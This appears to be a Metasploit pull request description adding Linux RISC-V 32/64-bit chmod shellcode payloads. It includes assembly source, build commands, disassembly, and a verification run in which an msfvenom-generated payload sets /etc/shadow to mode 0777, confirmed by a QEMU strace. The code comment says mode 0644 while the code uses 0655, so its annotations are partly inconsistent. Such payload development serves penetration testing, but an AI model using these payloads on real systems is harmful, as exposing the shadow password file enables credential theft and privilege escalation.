Add Linux RISC-V chmod payloads

[bcoles]

Add Linux RISC-V 32-bit / 64-bit Little Endian chmod payloads.

Source

32-bit and 64-bit are identical.

chmod.s:

.global _start
.section .text

_start:
    # sys_fchmodat(int dfd, const char __user * filename, umode_t mode);
    # fchmodat(AT_FDCWD, "/tmp/test.txt", 0644, 0)
    li      a0, -100  # AT_FDCWD
    la      a1, path  # pointer to path
    li      a2, 0655  # mode
    li      a3, 0     # flags
    li      a7, 53    # __NR_fchmodat
    ecall

    li      a0, 0
    li      a7, 93    # __NR_exit
    ecall

path:
    .asciz "/tmp/test.txt"

Build

$ cat build 
#!/bin/sh
/home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-as chmod.s -o chmod.o && \
/home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-ld chmod.o -o chmod --nostdlib --static && \
/home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-objdump -x chmod

$ /home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-objdump -d chmod

chmod:     file format elf64-littleriscv


Disassembly of section .text:

0000000000010078 <_start>:
   10078:	f9c00513          	li	a0,-100
   1007c:	00000597          	auipc	a1,0x0
   10080:	02458593          	addi	a1,a1,36 # 100a0 <path>
   10084:	1ad00613          	li	a2,429
   10088:	00000693          	li	a3,0
   1008c:	03500893          	li	a7,53
   10090:	00000073          	ecall
   10094:	00000513          	li	a0,0
   10098:	05d00893          	li	a7,93
   1009c:	00000073          	ecall

00000000000100a0 <path>:
   100a0:	706d742f          	0x706d742f
   100a4:	7365742f          	0x7365742f
   100a8:	2e74                	fld	fa3,216(a2)
   100aa:	7874                	ld	a3,240(s0)
   100ac:	0074                	addi	a3,sp,12
	...

Verification

Tested with QEMU. For other test environments, see #19518 (comment).

Generate a Linux Chmod payload (with optional NOP sled):

./msfvenom -n 100 --format elf -p linux/riscv64le/chmod FILE="/etc/shadow" MODE="0777" > chmod.elf

Execute the payload with QEMU:

$ /home/user/qemu/build/qemu-riscv64 -strace ./chmod.elf ; ls -la /etc/shadow
22001 fchmodat(AT_FDCWD,"/etc/shadow",0777,0) = -1 errno=1 (Operation not permitted)
22001 exit(0)
-rw-r----- 1 root shadow 1874 Jan 24  2025 /etc/shadow
$ sudo /home/user/qemu/build/qemu-riscv64 -strace ./chmod.elf ; ls -la /etc/shadow
[sudo] password for user: 
22006 fchmodat(AT_FDCWD,"/etc/shadow",0777,0) = 0
22006 exit(0)
-rwxrwxrwx 1 root shadow 1874 Jan 24  2025 /etc/shadow

Note the payload was executed successfully and the file permissions were changed.